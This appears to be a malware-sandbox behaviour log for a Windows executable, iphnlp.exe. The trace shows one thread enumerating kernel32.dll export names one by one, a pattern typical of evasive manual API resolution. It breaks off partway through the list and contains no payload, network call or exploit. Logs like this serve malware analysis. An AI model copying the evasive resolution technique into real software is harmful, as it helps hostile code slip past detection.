# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 31.05.2019 20:11:25.702 Process: id = "1" image_name = "iphnlp.exe" filename = "c:\\users\\fd1hvy\\desktop\\iphnlp.exe" page_root = "0x71b45000" os_pid = "0xf90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\iphnlp.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xf84 [0045.679] lstrlenA (lpString="kernel32.dll") returned 12 [0045.680] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0045.680] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0045.680] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0045.680] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0045.680] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0045.680] lstrlenA (lpString="ADDATOMA") returned 8 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0045.680] lstrlenA (lpString="ADDATOMW") returned 8 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0045.680] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0045.680] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0045.680] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0045.680] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0045.680] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0045.680] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0045.681] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0045.681] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0045.681] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0045.681] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0045.681] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0045.681] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0045.681] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0045.681] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0045.681] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0045.681] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0045.681] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0045.681] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0045.681] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0045.681] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0045.681] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0045.682] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0045.682] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0045.682] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0045.682] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0045.682] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0045.682] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0045.682] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0045.682] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0045.682] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0045.682] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0045.682] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0045.682] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0045.682] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0045.682] lstrlenA (lpString="BACKUPREAD") returned 10 [0045.682] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0045.683] lstrlenA (lpString="BACKUPSEEK") returned 10 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0045.683] lstrlenA (lpString="BACKUPWRITE") returned 11 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0045.683] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0045.683] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0045.683] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0045.683] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0045.683] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0045.683] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0045.683] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0045.683] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0045.683] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0045.684] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0045.684] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0045.684] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0045.684] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0045.684] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0045.684] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0045.684] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0045.684] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0045.684] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0045.684] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0045.684] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0045.684] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0045.684] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0045.684] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0045.684] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0045.685] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0045.685] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0045.685] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0045.685] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0045.685] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0045.685] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0045.685] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0045.685] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0045.685] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0045.685] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0045.685] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0045.686] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0045.686] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0045.686] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0045.686] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0045.686] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0045.686] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0045.686] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0045.686] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0045.686] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0045.686] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0045.686] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0045.686] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0045.686] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0045.686] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0045.686] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0045.687] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0045.687] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0045.687] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0045.687] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0045.687] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0045.687] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0045.687] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0045.687] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0045.687] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0045.687] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0045.687] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0045.687] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0045.687] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0045.688] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0045.688] lstrlenA (lpString="BEEP") returned 4 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0045.688] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0045.688] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0045.688] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0045.688] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0045.688] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0045.688] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0045.688] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0045.688] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0045.688] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0045.688] 